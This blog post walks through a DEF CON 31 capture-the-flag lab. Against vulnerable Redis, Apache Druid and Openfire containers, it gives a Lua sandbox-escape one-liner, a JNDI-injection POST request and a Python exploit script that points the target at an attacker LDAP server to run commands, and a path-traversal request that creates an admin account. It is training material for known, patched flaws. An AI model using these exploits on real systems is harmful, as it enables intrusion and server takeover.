DEF CON 31 WebSploit Labs Challenge Walkthrough
As you may know, I co-founded and I am one of the leads of the DEF CON Red Team Village. Thanks to the Red Team Village Team, every year the event has been agreat success. We focus on hands-on activities and workshops. At DEF CON 31’s Red Team Village, I conducted two workshops:
- “Hacking Web Applications and APIs with WebSploit Labs”
- “AI-Driven Hacker’s Toolkit: Leveraging AI for Learning Python and Scapy in Exploitation and Post-Exploitation Strategies”
In blog post I will walk you through the CTF-like exercise(s) of the “Hacking Web Applications and APIs with WebSploit Labs”.
First, what’s WebSploit Labs?
WebSploit Labs serves as an educational platform catering to different cybersecurity domains such as ethical hacking, bug hunting, incident response, digital forensics, and threat hunting training sessions. Within this environment, numerous intentionally vulnerable applications are hosted within Docker containers on top of either Kali Linux or Parrot Security OS. I also include a range of supplementary tools and an extensive collection of thousands of cybersecurity resources. WebSploit Labs has found adoption across numerous educational institutions globally, spanning colleges and universities. It has over 500 unique exercises.
At DEF CON 31’s WebSploit Labs workshop, participants were presented with two distinct approaches to engage with the labs:
- For those identifying as beginner-to-intermediate learners, a step-by-step 70+ page lab guide was available. This guide led participants through the exploitation of different web application and API vulnerabilities.
- Alternatively, individuals positioning themselves as intermediate-to-advanced learners were offered the opportunity to bypass the lab guide. Instead, they could complete a Capture The Flag (CTF)-style challenge. This challenge included three different vulnerable applications.
I would also like to thank my friend Thomas Schaffer. He flew all the way from Germany and helped proctor some of the workshop sessions while I was performing other tasks in the village. That’s him in action:
The following is a walkthrough of the challenge.
The Network Topology
The three applications were labeled DC31_01, DC31_02, and DC31_03.
DC31_01
Let’s start with DC31_01. This is the easiest of the three exercises.
A basic nmap scan shows that the application is running Redis (or at least listening on TCP port 6379.
You can use the redis-cli utility to connect to the Redis instance and perform some additional basic reconnaissance, as shown below:
The redis-cli command is a command-line interface tool used to interact with Redis, an open-source in-memory data store. It provides a way to send commands to a running Redis server for tasks such as setting and retrieving key-value pairs, managing data structures like lists, sets, and hashes, performing operations on sorted sets, and accessing server information. Through the redis-cli, users can manage and query data stored in Redis, making it a fundamental tool for developers, administrators, and anyone working with Redis-based applications.
The redis_version shows that DC31_01 is running a vulnerable version of Redis (version 5.0.7). This version is affected by a Lua Sandbox Escape and Remote Code Execution vulnerability (CVE-2022–0543). This vulnerability is also part of CISA’s Known Exploited Vulnerabilities (KEV) catalog. This article explains the details of the vulnerability.
Redis uses static linking of Lua, resulting in the absence of certain functions like luaopen_package and luaopen_os within the Redis binary due to non-usage. Additionally, Redis upstream includes and initializes external libraries lua-bitop and lua-cjson, which deviate from standard Lua components. In contrast, in Debian, Lua is dynamically loaded by Redis, and lua-bitop along with lua-cjson are treated as separate packages that are loaded upon initialization of the Lua interpreter. Although steps were taken to clear the module and require Lua variables during interpreter initialization, the package variable wasn’t cleared, leading to a vulnerability.
To exploit this you can use the following eval command in the redis-cli:eval ‘local io_l = package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, “luaopen_io”); local io = io_l(); local f = io.popen(“id”, “r”); local res = f:read(“*a”); f:close(); return res’ 0
This line of code is using the Redis EVAL command to execute a Lua script within the Redis environment. The purpose of this script appears to be invoking a sequence of actions related to the Lua scripting capabilities:
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");: This part attempts to dynamically load the Lua I/O library (luaopen_io) from the specified file path.local io = io_l();: The loaded library is invoked to create an instance of the I/O module (io), which provides functions for input and output operations.local f = io.popen("id", "r");: This line uses the I/O module to execute a command (id) in a subshell. It opens a process and establishes a connection to its standard input and output.local res = f:read("*a");: The script reads the entire output of the executed command (in this case, the output of theidcommand) from the opened process.f:close();: After reading the output, the script closes the connection to the subshell process.return res: The final result returned by the script is the output obtained from theidcommand executed earlier. In this case, theidcommand shows that the current user isroot.
DC31_02
The application DC31_02 is configured with the IP address 10.7.7.22. Let’s do a quick recon and do a TCP SYN scan:
TCP ports 8080, 8081, 8082, 8083, and 8888 are open. If you navigate to the application using your web browser on port 8080, you get the following message:
Eclipse Jetty is a Java-based web server and servlet container that’s primarily used for serving web applications and Java Servlets. It’s known for its lightweight and embeddable nature, making it suitable for applications ranging from small-scale web services to large-scale enterprise systems. Jetty provides features for handling HTTP requests, managing sessions, and serving static content, making it a versatile choice for web application development and deployment.
What about the other ports?
If you navigate to 10.7.7.22 on port 8081 using your browser, you can access the Apache Druid console.
Apache Druid is an open-source analytics data store designed for quickly querying and analyzing large volumes of data in real-time. It’s optimized for sub-second queries and interactive exploration of data. Druid is particularly well-suited for use cases involving OLAP (Online Analytical Processing) workloads, where fast query performance and data summarization are essential.
In the context of data processing, it’s possible to use both Kafka and Druid together in a data pipeline. Kafka can be used to ingest and stream data from various sources into Druid for real-time analytics. Kafka acts as a buffer and transport mechanism for data, while Druid handles the querying and analysis of that data.
If you connect via port 8888 and then navigate to Services, you can see all the different ports and their usage in the Druid console:
In versions prior to 3.3.2, a vulnerability related to JNDI injection exists within Apache Kafka clients. If an attacker manages to configure the sasl.jaas.config property of any of the connector’s Kafka clients with com.sun.security.auth.module.JndiLoginModule, it can enable the server to connect to the attacker’s LDAP server and process the LDAP response. This situation allows the attacker to execute java deserialization gadget chains on the Kafka connect server, leading to potential unrestricted deserialization of untrusted data or Remote Code Execution (RCE) vulnerabilities if specific gadgets are present in the classpath.
Given that this issue affects a Java library, the search extends to identify a real-world software utilizing kafka-clients. One such software is Apache Druid, which relies on kafka-clients to establish connections with its data sources.
This vulnerability is addressed in CVE-2023–25194. There is a proof of concept exploit at the following GitHub repository.
https://github.com/zzwlpx/JNDIExploit
The GitHub repo is in Chinese.
However, I used ChatGPT to translate it and modify some of the examples.
I cloned the JDNIExploit repository in WebSploit:
You can then use the script to use the JNDI service:
java -jar target\JNDIExploit-1.0-SNAPSHOT.jar -i 192.168.1.102You can either send the following POST request in Burp Suite or use a Python script that I am showing below:
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 10.7.7.22:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1792
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"127.0.0.1:6666",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.1.102:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic":"test",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\\s\\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{
},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}Alternatively, you can use the following Python script to exploit the vulnerability:
'''
This script exploits the Druid RCE vulnerability (CVE-2023-25194) to execute commands on the target machine.
'''
import argparse
import base64
import requests
import json
def send_post_request(url, headers, data):
'''
send post request
:param url: url
:param headers: headers
:param data: data
:return: None
'''
response = requests.post(url, headers=headers, data=json.dumps(data))
status_code = response.status_code
content = response.content.decode('utf-8')
if status_code == 500 or 'createChannelBuilde' in content:
print('[+] Exploit Success ~')
else:
print('[-] Exploit maybe fail.')
def get_data(jndi_ip, cmd):
'''
Function to get data for POST request body
:param jndi_ip: jndi_ip
:param cmd: command to execute
:return: data
'''
data = {
"type": "kafka",
"spec": {
"type": "kafka",
"ioConfig": {
"type": "kafka",
"consumerProperties": {
"bootstrap.servers": "127.0.0.1:6666",
"sasl.mechanism": "SCRAM-SHA-256",
"security.protocol": "SASL_SSL",
"sasl.jaas.config": f"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://{jndi_ip}:1389/Basic/Command/base64/{cmd}\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic": "test",
"useEarliestOffset": True,
"inputFormat": {
"type": "regex",
"pattern": "([\\s\\S]*)",
"listDelimiter": "56616469-6de2-9da4-efb8-8f416e6e6965",
"columns": [
"raw"
]
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "!!!_no_such_column_!!!",
"missingValue": "1970-01-01T00:00:00Z"
},
"dimensionsSpec": {
},
"granularitySpec": {
"rollup": False
}
},
"tuningConfig": {
"type": "kafka"
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}
# print(data)
return data
def base64_encode(original_str):
'''
Function to encode string with base64
:param original_str: original string
:return: encoded string
'''
original_bytes = original_str.encode('utf-8')
encoded_bytes = base64.b64encode(original_bytes)
encoded_str = encoded_bytes.decode('utf-8')
return encoded_str
if __name__ == '__main__':
'''
The following are the arguments required for the script to run successfully
-t, --target: target IP or hostname
-j, --jndi-ip: jndi_ip
-c, --cmd: command to execute
'''
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', type=str, required=True, help='target IP or hostname')
parser.add_argument('-j', '--jndi-ip', type=str, required=True, help='jndi_ip')
parser.add_argument('-c', '--cmd', type=str, required=True, help='command to execute')
args = parser.parse_args()
# Target URL
url = f"http://{args.target}:8888/druid/indexer/v1/sampler"
print("[+] URL:" + url)
print("[+] Target IP:" + args.target)
print("[+] JNDI IP:" + args.jndi_ip)
print("[+] Command output:" + args.cmd)
# Headers for POST request
headers = {
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Accept-Language": "en-US;q=0.9,en;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36",
"Connection": "close",
"Cache-Control": "max-age=0",
"Content-Type": "application/json"
}
# Get data for POST request body
data = get_data(args.jndi_ip, base64_encode(args.cmd))
# Send POST request
send_post_request(url, headers, data)I saved the python script as poc.py. After excuting the script, you can see that we successfully executed a command $(whoami) as root.
DC31_03
Now to our final challenge, DC31_03. Well, that’s a lot to pick from:
This looks like an OpenFire installation.
Openfire is an Apache License-licensed real-time collaboration (RTC) server, using the widely accepted XMPP protocol for instant messaging.
In versions prior to 4.7.4 and 4.6.7, a vulnerability was discovered within Openfire’s web-based administrative console (Admin Console). This flaw enabled a path traversal attack via the setup environment. This allowed unauthorized users to exploit the unauthenticated Openfire Setup Environment within a pre-configured Openfire setup, thus gaining access to restricted pages in the Admin Console usually reserved for administrative users.
Over a decade ago, an issue involving path traversal was detected within the Openfire admin console, marked as CVE-2008–6508. Attackers utilized the path /setup/setup-/../../[page].jsp to evade authentication controls, enabling access to arbitrary pages without requiring knowledge of admin credentials.
They fixed it. However, a subsequent upgrade to the embedded web server introduced support for non-standard UTF-16 character URL encoding. Unfortunately, the existing path traversal defenses within Openfire were not updated to account for this new encoding. Consequently, attackers could again exploit the path traversal protection using the path /setup/setup-/%u002e%u002e/%u002e%u002e/[page].jsp.
This is now addressed in CVE-2023–32315. This vulnerability is also in CISA’s KEV catalog.
To leverage this vulnerability, the initial step involves creating a new administrator through a specific request:
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=omar&name=&email=&password=hackme&passwordConfirm=hackme&isadmin=on&create=Create+User HTTP/1.1
Host: 10.7.7.22:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: csrf=csrftoken
You can send this to the vulnerable application using BurpSuite, as shown below.
You can login to the vulnerable OpenFire application using the default admin user and the password admin. However, that’s not the vulnerability. The vulnerability is the ability to take advantage of the flaw documented in CVE-2023–32315.
After you send the previous GET request, the user omar was created
You can see that the user omar has admin privileges:
As you can see, all the vulnerabilities used in these exercises have been publicly disclosed and they are all fixed. They were very recent vulnerabilities (as of the time that I created these execises for DEF CON 31).
Hope you found these exercises useful! Happy Hacking!
